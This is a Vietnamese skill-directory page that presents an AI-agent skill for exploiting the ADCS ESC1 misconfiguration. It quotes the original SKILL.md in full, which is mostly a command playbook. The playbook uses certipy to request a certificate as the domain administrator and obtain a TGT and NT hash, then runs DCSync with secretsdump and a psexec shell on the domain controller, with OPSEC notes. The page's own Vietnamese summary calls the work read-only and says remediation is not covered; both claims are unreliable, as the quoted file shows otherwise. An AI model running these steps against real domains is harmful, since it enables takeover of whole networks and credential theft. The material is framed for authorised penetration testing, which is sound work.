Chuyển đến nội dung
Skillpedia
Bảo mật6.5k · #13935

adcs-esc1

Skill này làm gì

Skill này đề cập đến một điểm yếu cụ thể trong dịch vụ chứng chỉ của Microsoft, gọi là ESC1, trong đó một mẫu cho phép người yêu cầu tự chọn danh tính trên chứng chỉ. Skill dành cho người kiểm thử có quyền kiểm tra một miền.

Khi nào nên dùng

  • ✓Khi người kiểm thử bảo mật xem xét các mẫu chứng chỉ trong một miền Active Directory được ủy quyền.
  • ✓Khi agent cần liệt kê những mẫu chứng chỉ có thể mắc cấu hình sai ESC1.
  • ✓Khi một báo cáo cần giải thích vì sao một mẫu chứng chỉ có rủi ro và cách khắc phục.

Liên kết skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md

Sao chép rồi dán vào AI của bạn (Claude, ChatGPT hoặc Cursor) và nhờ nó làm theo hướng dẫn.

Cách dùng

Cách dễ nhất: sao chép tin nhắn và dán vào AI của bạn. AI sẽ đọc skill và làm theo hướng dẫn.

Tin nhắn có sẵn để dán

Hãy dùng skill này để giúp tôi: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/adcs-esc1/SKILL.md Đọc tệp SKILL.md tại liên kết đó và làm theo hướng dẫn cho việc của tôi.
Bạn muốn AI tự tìm những skill như thế này?Cài MCP Skillpedia miễn phí: chỉ một dòng, và AI sẽ tìm trong 15.000+ skill trước mỗi việc.Cài đặt trong 1 phút →

Ví dụ cách nhờ AI

“Bạn có thể kiểm tra xem có mẫu chứng chỉ nào trong miền kiểm thử được ủy quyền của chúng tôi cho phép chọn danh tính người dùng bất kỳ không?”

5 skill mới mỗi tuần. Đọc chỉ 1 phút.

Cách hoạt động

Agent liệt kê các mẫu chứng chỉ bằng một công cụ chỉ đọc, kiểm tra các cài đặt cùng nhau tạo nên rủi ro, rồi báo cáo những gì đã tìm thấy.

Nội dung kỹ thuật (SKILL.md gốc)

Lấy nguyên văn từ GitHub, do tác giả viết bằng tiếng Anh.

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Decepticon ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

  • Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
  • Client Authentication EKU or Smart Card Logon EKU or Any Purpose
  • Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Manager Approval disabled
  • Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

  • A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
  • The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

6. Promote

kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
            props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")

ESC variants quick-ref

ESC Misconfig Sub-skill
ESC1 Enrollee supplies subject + client auth EKU THIS doc
ESC2 Any Purpose EKU template similar to ESC1
ESC3 Enrollment Agent template needs ESC3 + ESC2 combo
ESC4 Vulnerable template ACL (GenericAll, WriteDacl) edit template → ESC1
ESC5 Vulnerable PKI object ACL edit CA settings
ESC6 EDITF_ATTRIBUTESUBJECTALTNAME2 on CA request as any user via SAN
ESC7 Vulnerable CA ACL (ManageCA, ManageCertificates) approve denied req
ESC8 NTLM relay → AD CS web enrollment coerce + relay
ESC9 UPN no security extension low-priv → high-priv via S4U2self
ESC10 Weak certificate mapping (StrongCertificateBindingEnforcement=0) UPN spoof
ESC11 NTLM relay to ICPR (RPC) similar to ESC8
ESC13 Cert template w/ OID linked to group → group membership manipulation

OPSEC

  • Certipy req generates event 4886 on the CA (cert issued)
  • PKINIT generates event 4768 on DC w/ certificate fields populated
  • Hard to suppress; rely on engagement being permitted to be loud here

CVSS

  • Any ESC1 reachable from low-priv user: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • ESC1 reachable from anonymous (rare): 10.0
  • ESC8 NTLM relay (different exploit, same outcome): 9.8

Defender remediation

# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"
Câu hỏi thường gặp

ESC1 nghĩa là gì?

Đây là tên gọi cho một cài đặt mẫu chứng chỉ phổ biến cho phép người yêu cầu tự cung cấp danh tính. Skill giải thích cần những cài đặt nào đồng thời có mặt.

Skill có nói cách khắc phục không?

Skill tập trung vào tìm và xác nhận vấn đề. Việc khắc phục thuộc về chủ hệ thống và quy trình thay đổi của họ.

Ai nên dùng skill này?

Dành cho người kiểm thử bảo mật được ủy quyền và quản trị viên cần kiểm toán dịch vụ chứng chỉ trong Active Directory của chính họ.

Chi tiết

Mô tả gốc của tác giả

Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.

repo: BitterSecurity/Decepticon

Độ phổ biến

Sao GitHub
6.5k
Vị trí xếp hạng
#13935
Giấy phép
Apache-2.0
Cập nhật
1/11/2026

Skill này có hữu ích không?

0

Đăng nhập để bình chọn.

Bình luận

  • …

Thêm skill từ kho mã này

Skill tương tự